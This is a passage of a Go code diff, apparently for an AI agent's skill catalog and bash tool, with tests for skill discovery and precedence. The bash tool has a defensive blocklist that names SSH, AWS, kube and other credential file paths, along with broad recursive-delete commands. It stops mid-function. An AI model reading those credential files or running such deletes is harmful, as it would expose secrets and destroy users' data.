+func (s Skill) resources() []string {
+	if s.Path == "" {
+		return nil
+	}
+	dir := filepath.Dir(s.Path)
+	var resources []string
+	for _, sub := range []string{"scripts", "references", "assets"} {
+		entries, err := os.ReadDir(filepath.Join(dir, sub))
+		if err != nil {
+			continue
+		}
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+			resources = append(resources, sub+"/"+e.Name())
+		}
+	}
+	sort.Strings(resources)
+	return resources
+}
+
+// SkillCatalog contains valid skills and diagnostics for ignored invalid
+// entries, so one malformed skill cannot hide the rest.
+type SkillCatalog struct {
+	dir         string
+	skills      map[string]Skill
+	diagnostics []error
+}
+
+func DiscoverSkills(dir string) (*SkillCatalog, error) {
+	dir, err := filepath.Abs(strings.TrimSpace(dir))
+	if err != nil {
+		return nil, err
+	}
+	catalog := &SkillCatalog{dir: dir, skills: make(map[string]Skill)}
+	entries, err := os.ReadDir(dir)
+	if errors.Is(err, fs.ErrNotExist) {
+		return catalog, nil
+	}
+	if err != nil {
+		return nil, fmt.Errorf("read skills directory: %w", err)
+	}
+	for _, entry := range entries {
+		name := entry.Name()
+		// Follow symlinks so users can point at shared skill repositories.
+		// The link name (not the target) is the canonical skill name.
+		info, err := os.Stat(filepath.Join(dir, name))
+		if err != nil {
+			if errors.Is(err, fs.ErrNotExist) {
+				continue
+			}
+			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("skill %q: %w", name, err))
+			continue
+		}
+		if !info.IsDir() {
+			continue
+		}
+		if !skillName.MatchString(name) {
+			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("invalid skill directory %q", name))
+			continue
+		}
+		skill, err := parseSkill(filepath.Join(dir, name, skillFilename), name)
+		if errors.Is(err, fs.ErrNotExist) {
+			continue
+		}
+		if err != nil {
+			catalog.diagnostics = append(catalog.diagnostics, err)
+			continue
+		}
+		catalog.skills[skill.Name] = skill
+	}
+	return catalog, nil
+}
+
+// LoadDefaultSkills discovers skills from the spec's scopes, merged with
+// deterministic precedence. Roots are scanned lowest-precedence first so later
+// roots override earlier ones on name collisions (recording a diagnostic):
+//
+//  1. ~/.agents/skills/              (user, cross-client)
+//  2. user Ollama skills dir          (user, Ollama-owned; SkillsDir)
+//  3. <project>/.agents/skills/      (project, cross-client)
+//  4. <project>/.ollama/skills/      (project, Ollama-owned)
+//
+// Project-level overrides user-level, and within a scope Ollama-owned
+// directories override .agents/skills/. projectDir is the agent's working
+// directory at startup (discovery is a session-start snapshot per the spec).
+func LoadDefaultSkills(projectDir string) (*SkillCatalog, error) {
+	roots, err := defaultSkillRoots(projectDir)
+	if err != nil {
+		return nil, err
+	}
+	catalog := &SkillCatalog{skills: make(map[string]Skill)}
+	bundled, err := bundledSkillCreator()
+	if err != nil {
+		return nil, err
+	}
+	catalog.skills[bundled.Name] = bundled
+	if err := installBundledSkillCreator(); err != nil {
+		catalog.diagnostics = append(catalog.diagnostics, err)
+	}
+	for _, root := range roots {
+		sub, err := DiscoverSkills(root.path)
+		if err != nil {
+			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("discover skills in %s: %w", root.path, err))
+			continue
+		}
+		catalog.diagnostics = append(catalog.diagnostics, sub.diagnostics...)
+		for _, skill := range sub.skills {
+			// Name collisions across roots are expected precedence resolution,
+			// not errors: later (higher-precedence) roots legitimately override
+			// earlier ones. The skill is still loaded; no diagnostic needed.
+			catalog.skills[skill.Name] = skill
+		}
+	}
+	return catalog, nil
+}
+
+func bundledSkillCreator() (Skill, error) {
+	skill, err := parseSkillContent("", bundledSkillCreatorName, bundledSkillCreatorContent)
+	if err != nil {
+		return Skill{}, fmt.Errorf("load bundled %s skill: %w", bundledSkillCreatorName, err)
+	}
+	return skill, nil
+}
+
+func installBundledSkillCreator() error {
+	dir, err := SkillsDir()
+	if err != nil {
+		return fmt.Errorf("resolve bundled skill directory: %w", err)
+	}
+	path := filepath.Join(dir, bundledSkillCreatorName, skillFilename)
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		return fmt.Errorf("create bundled skill directory: %w", err)
+	}
+	contents, err := os.ReadFile(path)
+	if err == nil && string(contents) == bundledSkillCreatorContent {
+		return nil
+	}
+	if err != nil && !errors.Is(err, fs.ErrNotExist) {
+		return fmt.Errorf("read bundled skill: %w", err)
+	}
+	if err := os.WriteFile(path, []byte(bundledSkillCreatorContent), 0o644); err != nil {
+		return fmt.Errorf("write bundled skill: %w", err)
+	}
+	return nil
+}
+
+type skillRoot struct {
+	path string
+}
+
+// defaultSkillRoots returns skill directories ordered lowest- to
+// highest-precedence. Non-existent directories are scanned harmlessly
+// (DiscoverSkills skips them).
+func defaultSkillRoots(projectDir string) ([]skillRoot, error) {
+	var roots []skillRoot
+
+	if home, err := os.UserHomeDir(); err == nil && home != "" {
+		roots = append(roots, skillRoot{path: filepath.Join(home, ".agents", "skills")})
+	}
+
+	userOllama, err := SkillsDir()
+	if err != nil {
+		return nil, err
+	}
+	roots = append(roots, skillRoot{path: userOllama})
+
+	projectDir = strings.TrimSpace(projectDir)
+	if projectDir != "" {
+		if abs, err := filepath.Abs(projectDir); err == nil {
+			roots = append(roots,
+				skillRoot{path: filepath.Join(abs, ".agents", "skills")},
+				skillRoot{path: filepath.Join(abs, ".ollama", "skills")},
+			)
+		}
+	}
+	return roots, nil
+}
+
+func (c *SkillCatalog) Dir() string {
+	if c == nil {
+		return ""
+	}
+	return c.dir
+}
+
+func (c *SkillCatalog) List() []Skill {
+	if c == nil {
+		return nil
+	}
+	list := make([]Skill, 0, len(c.skills))
+	for _, skill := range c.skills {
+		list = append(list, skill)
+	}
+	sort.Slice(list, func(i, j int) bool { return list[i].Name < list[j].Name })
+	return list
+}
+
+func (c *SkillCatalog) Diagnostics() []error {
+	if c == nil {
+		return nil
+	}
+	return append([]error(nil), c.diagnostics...)
+}
+
+func (c *SkillCatalog) Load(name string) (Skill, error) {
+	name = strings.TrimSpace(name)
+	if !skillName.MatchString(name) {
+		return Skill{}, fmt.Errorf("invalid skill name %q", name)
+	}
+	if c == nil {
+		return Skill{}, errors.New("skills are unavailable")
+	}
+	skill, ok := c.skills[name]
+	if !ok {
+		return Skill{}, fmt.Errorf("skill %q not found in %s", name, c.dir)
+	}
+	return skill, nil
+}
+
+// SystemContext advertises the catalog without expanding full instructions in
+// every request. The skill call is the explicit loading boundary.
+func (c *SkillCatalog) SystemContext() string {
+	list := c.List()
+	if len(list) == 0 {
+		return ""
+	}
+	lines := []string{"<available_skills>"}
+	for _, skill := range list {
+		description := skill.Description
+		if description == "" {
+			description = "No description provided."
+		}
+		lines = append(lines, fmt.Sprintf("- %s: %s", skill.Name, description))
+	}
+	lines = append(lines, "</available_skills>", "Load a matching skill with the skill tool before following its instructions. Skills only provide instructions; use ordinary tools for filesystem or network access, with their normal approval rules.")
+	return strings.Join(lines, "\n")
+}
+
+func parseSkill(path, directoryName string) (Skill, error) {
+	// Stat (not Lstat) so a symlinked SKILL.md resolves to its target file.
+	info, err := os.Stat(path)
+	if err != nil {
+		return Skill{}, err
+	}
+	if !info.Mode().IsRegular() {
+		return Skill{}, fmt.Errorf("skill %q: %s is not a regular file", directoryName, skillFilename)
+	}
+	if info.Size() > maxSkillBytes {
+		return Skill{}, fmt.Errorf("skill %q: %s exceeds %d bytes", directoryName, skillFilename, maxSkillBytes)
+	}
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return Skill{}, fmt.Errorf("read skill %q: %w", directoryName, err)
+	}
+	return parseSkillContent(path, directoryName, string(data))
+}
+
+func parseSkillContent(path, directoryName, input string) (Skill, error) {
+	instructions := strings.TrimSpace(input)
+	if instructions == "" {
+		return Skill{}, fmt.Errorf("skill %q: %s is empty", directoryName, skillFilename)
+	}
+	if !strings.HasPrefix(instructions, "---\n") && !strings.HasPrefix(instructions, "---\r\n") {
+		return Skill{}, fmt.Errorf("skill %q: missing YAML front matter", directoryName)
+	}
+	metadata, body, err := skillFrontMatter(instructions)
+	if err != nil {
+		return Skill{}, fmt.Errorf("skill %q: %w", directoryName, err)
+	}
+	if metadata.Name == "" {
+		return Skill{}, fmt.Errorf("skill %q: front matter requires name", directoryName)
+	}
+	if metadata.Description == "" {
+		return Skill{}, fmt.Errorf("skill %q: front matter requires description", directoryName)
+	}
+	if !skillName.MatchString(metadata.Name) {
+		return Skill{}, fmt.Errorf("skill %q: invalid front matter name %q", directoryName, metadata.Name)
+	}
+	if metadata.Name != directoryName {
+		return Skill{}, fmt.Errorf("skill %q: front matter name %q must match directory name", directoryName, metadata.Name)
+	}
+	skill := Skill{Name: metadata.Name, Description: metadata.Description, Path: path}
+	instructions = body
+	if strings.TrimSpace(instructions) == "" {
+		return Skill{}, fmt.Errorf("skill %q: instructions are empty", directoryName)
+	}
+	skill.Instructions = strings.TrimSpace(instructions)
+	return skill, nil
+}
+
+type skillFrontMatterMetadata struct {
+	Name        string         `yaml:"name"`
+	Description string         `yaml:"description"`
+	Metadata    map[string]any `yaml:"metadata"`
+}
+
+func skillFrontMatter(input string) (skillFrontMatterMetadata, string, error) {
+	input = strings.ReplaceAll(input, "\r\n", "\n")
+	lines := strings.Split(input, "\n")
+	if len(lines) < 3 || lines[0] != "---" {
+		return skillFrontMatterMetadata{}, "", errors.New("invalid front matter")
+	}
+	for i := 1; i < len(lines); i++ {
+		if lines[i] == "---" {
+			var metadata skillFrontMatterMetadata
+			if err := yaml.Unmarshal([]byte(strings.Join(lines[1:i], "\n")), &metadata); err != nil {
+				return skillFrontMatterMetadata{}, "", fmt.Errorf("parse YAML front matter: %w", err)
+			}
+			metadata.Name = strings.TrimSpace(metadata.Name)
+			metadata.Description = strings.TrimSpace(metadata.Description)
+			return metadata, strings.Join(lines[i+1:], "\n"), nil
+		}
+	}
+	return skillFrontMatterMetadata{}, "", errors.New("front matter is not closed")
+}

agent/skills_test.go

@@ -0,0 +1,293 @@
+package agent
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func writeCatalogSkill(t *testing.T, dir, name, content string) {
+	t.Helper()
+	path := filepath.Join(dir, name)
+	if err := os.MkdirAll(path, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if !strings.HasPrefix(content, "---") {
+		content = "---\nname: " + name + "\ndescription: Test skill.\n---\n" + content
+	}
+	if err := os.WriteFile(filepath.Join(path, skillFilename), []byte(content), 0o644); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func TestDiscoverAndLoadSkills(t *testing.T) {
+	dir := t.TempDir()
+	writeCatalogSkill(t, dir, "release-notes", "---\nname: release-notes\ndescription: Draft concise release notes.\nmetadata:\n  author: Ollama\n  labels:\n    - release\n    - docs\n---\n# Release notes\n\nUse short bullets.")
+	catalog, err := DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	list := catalog.List()
+	if len(list) != 1 || list[0].Name != "release-notes" || list[0].Description != "Draft concise release notes." {
+		t.Fatalf("skills = %#v", list)
+	}
+	skill, err := catalog.Load("release-notes")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(skill.Content(), `<skill name="release-notes">`) || !strings.Contains(skill.Content(), "Use short bullets.") {
+		t.Fatalf("skill content = %q", skill.Content())
+	}
+	if context := catalog.SystemContext(); !strings.Contains(context, "release-notes: Draft concise release notes.") || !strings.Contains(context, "normal approval rules") {
+		t.Fatalf("system context = %q", context)
+	}
+}
+
+func TestDiscoverSkillsSkipsMalformedEntries(t *testing.T) {
+	dir := t.TempDir()
+	writeCatalogSkill(t, dir, "valid", "do the useful thing")
+	writeCatalogSkill(t, dir, "mismatched", "---\nname: whatever\ndescription: wrong name\n---\nbody")
+	// Genuinely malformed front matter (a line without a key:value pair) is still rejected.
+	writeCatalogSkill(t, dir, "broken", "---\nname: broken\ndescription\n---\nnope")
+	writeCatalogSkill(t, dir, "missing-name", "---\ndescription: missing name\n---\nbody")
+	writeCatalogSkill(t, dir, "missing-description", "---\nname: missing-description\n---\nbody")
+	writeCatalogSkill(t, dir, "bad-name", "---\nname: bad_name\ndescription: invalid name\n---\nbody")
+	writeCatalogSkill(t, dir, "under_score", "---\nname: under_score\ndescription: invalid directory\n---\nbody")
+	if err := os.MkdirAll(filepath.Join(dir, "no-front-matter"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(dir, "no-front-matter", skillFilename), []byte("body"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got, want := len(catalog.List()), 1; got != want {
+		t.Fatalf("valid skills = %d, want %d", got, want)
+	}
+	if got, want := len(catalog.Diagnostics()), 7; got != want {
+		t.Fatalf("diagnostics = %d, want %d: %#v", got, want, catalog.Diagnostics())
+	}
+	if _, err := catalog.Load("broken"); err == nil || !strings.Contains(err.Error(), "not found") {
+		t.Fatalf("load broken error = %v", err)
+	}
+	if _, err := catalog.Load("../valid"); err == nil || !strings.Contains(err.Error(), "invalid skill name") {
+		t.Fatalf("unsafe name error = %v", err)
+	}
+}
+
+func TestDiscoverSkillsFollowsSymlinks(t *testing.T) {
+	dir := t.TempDir()
+	target := t.TempDir()
+	writeCatalogSkill(t, target, "shared", "---\nname: shared\ndescription: From a linked repo.\n---\nshared instructions")
+	if err := os.Symlink(filepath.Join(target, "shared"), filepath.Join(dir, "shared")); err != nil {
+		t.Skipf("symlink not supported: %v", err)
+	}
+	catalog, err := DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	list := catalog.List()
+	if len(list) != 1 || list[0].Name != "shared" || list[0].Description != "From a linked repo." {
+		t.Fatalf("symlinked skills = %#v", list)
+	}
+	if !strings.Contains(list[0].Content(), "shared instructions") {
+		t.Fatalf("symlinked skill content = %q", list[0].Content())
+	}
+}
+
+func TestLoadDefaultSkillsContinuesAfterBadRoot(t *testing.T) {
+	home := t.TempDir()
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+	project := t.TempDir()
+	writeCatalogSkill(t, filepath.Join(project, ".ollama", "skills"), "release-notes", "project instructions")
+
+	badRoot := filepath.Join(t.TempDir(), "not-a-directory")
+	if err := os.WriteFile(badRoot, []byte("not a directory"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	t.Setenv(SkillsDirEnv, badRoot)
+
+	catalog, err := LoadDefaultSkills(project)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if _, err := catalog.Load("release-notes"); err != nil {
+		t.Fatalf("valid skill was hidden by bad root: %v", err)
+	}
+	if _, err := catalog.Load(bundledSkillCreatorName); err != nil {
+		t.Fatalf("bundled skill was hidden by bad root: %v", err)
+	}
+	var foundDiagnostic bool
+	for _, diagnostic := range catalog.Diagnostics() {
+		if strings.Contains(diagnostic.Error(), badRoot) {
+			foundDiagnostic = true
+			break
+		}
+	}
+	if !foundDiagnostic {
+		t.Fatalf("diagnostics = %#v, want bad root %q", catalog.Diagnostics(), badRoot)
+	}
+}
+
+func TestLoadDefaultSkillsInstallsBundledSkillCreator(t *testing.T) {
+	dir := t.TempDir()
+	t.Setenv(SkillsDirEnv, dir)
+
+	catalog, err := LoadDefaultSkills("")
+	if err != nil {
+		t.Fatal(err)
+	}
+	skill, err := catalog.Load(bundledSkillCreatorName)
+	if err != nil {
+		t.Fatal(err)
+	}
+	path := filepath.Join(dir, bundledSkillCreatorName, skillFilename)
+	contents, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(contents) != bundledSkillCreatorContent {
+		t.Fatalf("installed skill = %q, want bundled contents", contents)
+	}
+	if skill.Path != path {
+		t.Fatalf("skill path = %q, want %q", skill.Path, path)
+	}
+	if !strings.Contains(skill.Content(), "Skill directory: "+filepath.Dir(path)) {
+		t.Fatalf("skill content does not identify its directory: %q", skill.Content())
+	}
+}
+
+func TestLoadDefaultSkillsUpdatesExistingSkillCreator(t *testing.T) {
+	dir := t.TempDir()
+	t.Setenv(SkillsDirEnv, dir)
+	writeCatalogSkill(t, dir, bundledSkillCreatorName, "custom instructions")
+
+	if _, err := LoadDefaultSkills(""); err != nil {
+		t.Fatal(err)
+	}
+	contents, err := os.ReadFile(filepath.Join(dir, bundledSkillCreatorName, skillFilename))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(contents) != bundledSkillCreatorContent {
+		t.Fatalf("installed skill = %q, want bundled contents", contents)
+	}
+}
+
+func TestSkillsDirUsesOverrideAndXDG(t *testing.T) {
+	base := t.TempDir()
+
+	override := filepath.Join(base, "skills-override")
+	t.Setenv(SkillsDirEnv, override)
+	got, err := SkillsDir()
+	if err != nil {
+		t.Fatal(err)
+	}
+	want, err := filepath.Abs(override)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got != want {
+		t.Fatalf("SkillsDir override = %q, want %q", got, want)
+	}
+
+	t.Setenv(SkillsDirEnv, "")
+	xdg := filepath.Join(base, "xdg")
+	t.Setenv("XDG_CONFIG_HOME", xdg)
+	if got, err := SkillsDir(); err != nil || got != filepath.Join(xdg, "ollama", "skills") {
+		t.Fatalf("SkillsDir xdg = %q, want %q, %v", got, filepath.Join(xdg, "ollama", "skills"), err)
+	}
+
+	t.Setenv("XDG_CONFIG_HOME", "")
+	home := filepath.Join(base, "home")
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+	if got, err := SkillsDir(); err != nil || got != filepath.Join(home, ".ollama", "skills") {
+		t.Fatalf("SkillsDir default = %q, want %q, %v", got, filepath.Join(home, ".ollama", "skills"), err)
+	}
+}
+
+func TestLoadDefaultSkillsPrecedenceAndCollisions(t *testing.T) {
+	home := t.TempDir()
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home) // Windows: os.UserHomeDir uses %USERPROFILE%
+
+	userOllama := t.TempDir()
+	t.Setenv(SkillsDirEnv, userOllama)
+
+	userAgents := filepath.Join(home, ".agents", "skills")
+	project := t.TempDir()
+	projectAgents := filepath.Join(project, ".agents", "skills")
+	projectOllama := filepath.Join(project, ".ollama", "skills")
+
+	// release-notes exists in all four roots; project ollama must win.
+	writeCatalogSkill(t, userAgents, "release-notes", "from user agents")
+	writeCatalogSkill(t, userOllama, "release-notes", "from user ollama")
+	writeCatalogSkill(t, projectOllama, "release-notes", "from project ollama")
+	// code-review exists in both project roots; project ollama beats project agents.
+	writeCatalogSkill(t, projectAgents, "code-review", "from project agents")
+	writeCatalogSkill(t, projectOllama, "code-review", "from project ollama")
+	// unique appears only in user ollama (via env override).
+	writeCatalogSkill(t, userOllama, "unique", "only here")
+
+	catalog, err := LoadDefaultSkills(project)
+	if err != nil {
+		t.Fatal(err)
+	}
+	rn, err := catalog.Load("release-notes")
+	if err != nil || !strings.Contains(rn.Instructions, "from project ollama") || !strings.Contains(rn.Path, ".ollama") {
+		t.Fatalf("release-notes = %#v, want project ollama to win", rn)
+	}
+	cr, err := catalog.Load("code-review")
+	if err != nil || !strings.Contains(cr.Instructions, "from project ollama") {
+		t.Fatalf("code-review = %#v, want project ollama to win over project agents", cr)
+	}
+	if _, err := catalog.Load("unique"); err != nil {
+		t.Fatalf("unique should load from user ollama: %v", err)
+	}
+	// Collisions are resolved silently by precedence — no diagnostics.
+	for _, d := range catalog.Diagnostics() {
+		if strings.Contains(d.Error(), "shadows") {
+			t.Fatalf("unexpected shadow diagnostic: %v", d)
+		}
+	}
+}
+
+func TestSkillContentListsDirectoryAndResources(t *testing.T) {
+	root := t.TempDir()
+	skillDir := filepath.Join(root, "pdf-processing")
+	if err := os.MkdirAll(filepath.Join(skillDir, "scripts"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Join(skillDir, "references"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(skillDir, "SKILL.md"), []byte("---\nname: pdf-processing\ndescription: Handle PDFs.\n---\nHandle PDFs."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(skillDir, "scripts", "extract.py"), []byte("#!/usr/bin/env python3"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(skillDir, "references", "ref.md"), []byte("ref"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := DiscoverSkills(root)
+	if err != nil {
+		t.Fatal(err)
+	}
+	skill, err := catalog.Load("pdf-processing")
+	if err != nil {
+		t.Fatal(err)
+	}
+	content := skill.Content()
+	if !strings.Contains(content, "Skill directory:") || !strings.Contains(content, skillDir) {
+		t.Fatalf("content missing skill directory: %q", content)
+	}
+	if !strings.Contains(content, "<file>scripts/extract.py</file>") || !strings.Contains(content, "<file>references/ref.md</file>") {
+		t.Fatalf("content missing resource listing: %q", content)
+	}
+}

agent/tools/bash.go

@@ -0,0 +1,450 @@
+package tools
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	bashTimeout        = 3 * time.Minute
+	bashWaitDelay      = 1 * time.Second
+	maxBashOutputBytes = 60_000
+)
+
+type Bash struct{}
+
+func (b *Bash) Name() string {
+	return shellToolName()
+}
+
+func (b *Bash) Description() string {
+	return shellToolDescription()
+}
+
+func (b *Bash) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("command", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: shellCommandDescription(),
+	})
+	return api.ToolFunction{
+		Name:        b.Name(),
+		Description: b.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"command"},
+		},
+	}
+}
+
+func (b *Bash) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+// ApprovalScope scopes shell approval to the exact, trimmed command string
+// using a NUL separator: "<tool>\x00<command>". "Always allow this command"
+// matches ONLY that precise string — any whitespace, quoting, or casing
+// variant re-prompts. The NUL separator is safe because a shell command
+// string cannot contain a literal NUL.
+func (b *Bash) ApprovalScope(args map[string]any) string {
+	name := b.Name()
+	if command, ok := args["command"].(string); ok {
+		command = strings.TrimSpace(command)
+		if command != "" {
+			return name + "\x00" + command
+		}
+	}
+	return name
+}
+
+func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg for the "command" parameter (see agent package cleanup plan).
+	command, ok := args["command"].(string)
+	if !ok || strings.TrimSpace(command) == "" {
+		return agent.ToolResult{}, fmt.Errorf("command parameter is required")
+	}
+	if err := rejectUnsafeShellCommand(command); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, bashTimeout)
+	defer cancel()
+
+	cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	cwdPath := cwdFile.Name()
+	_ = cwdFile.Close()
+	defer os.Remove(cwdPath)
+
+	cmd := newBashCommand(ctx, command, cwdPath)
+	cmd.WaitDelay = bashWaitDelay
+	cmd.Cancel = func() error {
+		return killBashCommand(cmd)
+	}
+	if toolCtx.WorkingDir != "" {
+		cmd.Dir = toolCtx.WorkingDir
+	}
+
+	var stdout, stderr boundedOutput
+	stdout.Limit = maxBashOutputBytes
+	stderr.Limit = maxBashOutputBytes
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+
+	err = runBashCommand(cmd)
+	finalWorkingDir := readFinalWorkingDir(cwdPath)
+
+	var sb strings.Builder
+	if stdout.Len() > 0 {
+		sb.WriteString(stdout.String("stdout"))
+	}
+	if stderr.Len() > 0 {
+		if sb.Len() > 0 {
+			sb.WriteString("\n")
+		}
+		sb.WriteString("stderr:\n")
+		sb.WriteString(stderr.String("stderr"))
+	}
+
+	if err != nil {
+		if ctx.Err() == context.DeadlineExceeded {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command timed out after "+bashTimeout.String()), WorkingDir: finalWorkingDir}, nil
+		}
+		if ctx.Err() == context.Canceled {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command was canceled"), WorkingDir: finalWorkingDir}, nil
+		}
+		if errors.Is(err, exec.ErrWaitDelay) {
+			_ = killBashCommand(cmd)
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command output pipes did not close after "+bashWaitDelay.String()), WorkingDir: finalWorkingDir}, nil
+		}
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), fmt.Sprintf("Exit code: %d", exitErr.ExitCode())), WorkingDir: finalWorkingDir}, nil
+		}
+		return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
+	}
+
+	if sb.Len() == 0 {
+		return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
+	}
+	return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
+}
+
+func bashContentWithError(content, msg string) string {
+	if content == "" {
+		return msg
+	}
+	return content + "\n\n" + msg
+}
+
+// rejectUnsafeShellCommand applies a best-effort blocklist for obviously
+// destructive or credential-exfiltrating commands. It is defense-in-depth
+// ONLY: the interactive approval prompt is the real security control, and
+// this check must not be relied upon as a sandbox. Sophisticated or novel
+// dangerous commands (e.g. find / -delete, dd, fork bombs, custom binaries)
+// are NOT caught here and will simply be routed through approval like any
+// other command. Keep the approval prompt as the gate.
+func rejectUnsafeShellCommand(command string) error {
+	switch {
+	case hasUnsafeRecursiveDelete(command):
+		return fmt.Errorf("refusing to run unsafe command: recursive delete target is too broad")
+	case readsCredentialPath(command):
+		return fmt.Errorf("refusing to run unsafe command: credential file reads are not allowed")
+	default:
+		return nil
+	}
+}
+
+func hasUnsafeRecursiveDelete(command string) bool {
+	// Check each command segment independently. shellSafetyText flattens
+	// separators (; & | newlines) to spaces, which would otherwise let the
+	// rm target scan bleed across command boundaries — e.g.
+	// "rm -rf build && echo ~/.ssh/config" flattened to one token stream
+	// would treat the unrelated ~/.ssh/config (a ~/-prefixed "unsafe
+	// target") as an rm argument. Splitting on separators first restores
+	// command boundaries while still catching multi-target single commands
+	// like "rm -rf build /etc".
+	for _, segment := range shellSegments(command) {
+		fields := shellSafetyFields(segment)
+		for i, field := range fields {
+			if isRMCommand(field) && rmCommandDeletesUnsafeTarget(fields[i+1:]) {
+				return true
+			}
+			if isPowerShellDeleteCommand(field) && powerShellDeleteCommandDeletesUnsafeTarget(fields[i+1:]) {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+// shellSegments splits a command on shell control operators (;, &, |, &&,
+// ||) and newlines, returning the individual command segments. It operates on
+// the lowercased raw command before quote/separator normalization so that
+// command boundaries are preserved for per-segment checks. Subshell parens are
+// intentionally NOT treated as separators: splitting on them would fragment
+// command substitutions like "rm -rf $(echo /)" into "rm -rf $" and "echo /",
+// hiding the destructive "/" target from the per-segment scan. Empty segments
+// are dropped.
+func shellSegments(command string) []string {
+	command = strings.ToLower(command)
+	var segments []string
+	for _, segment := range strings.FieldsFunc(command, func(r rune) bool {
+		switch r {
+		case ';', '&', '|', '\n', '\r':
+			return true
+		}
+		return false
+	}) {
+		if segment = strings.TrimSpace(segment); segment != "" {
+			segments = append(segments, segment)
+		}
+	}
+	return segments
+}
+
+func rmCommandDeletesUnsafeTarget(fields []string) bool {
+	var flags string
+	for _, field := range fields {
+		if field == "--" {
+			continue
+		}
+		if strings.HasPrefix(field, "-") {
+			flags += field
+			continue
+		}
+		if strings.Contains(flags, "r") && strings.Contains(flags, "f") && isUnsafeDeleteTarget(field) {
+			return true
+		}
+	}
+	return false
+}
+
+func powerShellDeleteCommandDeletesUnsafeTarget(fields []string) bool {
+	var recurse, force bool
+	var targets []string
+	for _, field := range fields {
+		switch field {
+		case "-r", "-recurse", "-recursive":
+			recurse = true
+		case "-f", "-force":
+			force = true
+		default:
+			if !strings.HasPrefix(field, "-") {
+				targets = append(targets, field)
+			}
+		}
+	}
+	if !recurse || !force {
+		return false
+	}
+	for _, target := range targets {
+		if isUnsafeDeleteTarget(target) {
+			return true
+		}
+	}
+	return false
+}
+
+func readsCredentialPath(command string) bool {
+	fields := shellSafetyFields(command)
+	if !hasCredentialReadVerb(fields) {
+		return false
+	}
+	normalized := shellSafetyText(command)
+	for _, fragment := range []string{
+		"/.ssh/id_rsa",
+		"/.ssh/id_dsa",
+		"/.ssh/id_ecdsa",
+		"/.ssh/id_ed25519",
+		"/.ssh/config",
+		"/.ssh/known_hosts",
+		"/.aws/credentials",
+		"/.aws/config",
+		"/.config/gcloud/application_default_credentials.json",
+		"/.kube/config",
+		"/.netrc",
+		"/.npmrc",
+		"/.docker/config.json",
+		"/.config/gh/hosts.yml",
+		"/.gnupg/",
+		"/etc/shadow",
+	} {
+		if strings.Contains(normalized, fragment) {
+			return true
+		}
+	}
+	return false
+}
+
+func hasCredentialReadVerb(fields []string) bool {
+	for _, field := range fields {
+		switch field {
+		case "cat", "less", "more", "head", "tail", "type", "get-content", "gc", "select-string", "grep", "rg", "sed", "awk":
+			return true
+		case "env", "printenv":
+			return true
+		}
+	}
+	return false
+}
+
+func isRMCommand(field string) bool {
+	return field == "rm" || strings.HasSuffix(field, "/rm")
+}
+
+func isPowerShellDeleteCommand(field string) bool {
+	switch field {
+	case "remove-item", "del", "erase", "rd", "rmdir":
+		return true
+	default:
+		return false
+	}
+}
+
+func isUnsafeDeleteTarget(target string) bool {
+	if target == "." || target == "./" || target == "*" {
+		return true
+	}
+	if target == "/*" {
+		return true
+	}
+	target = strings.TrimSuffix(target, "/*")
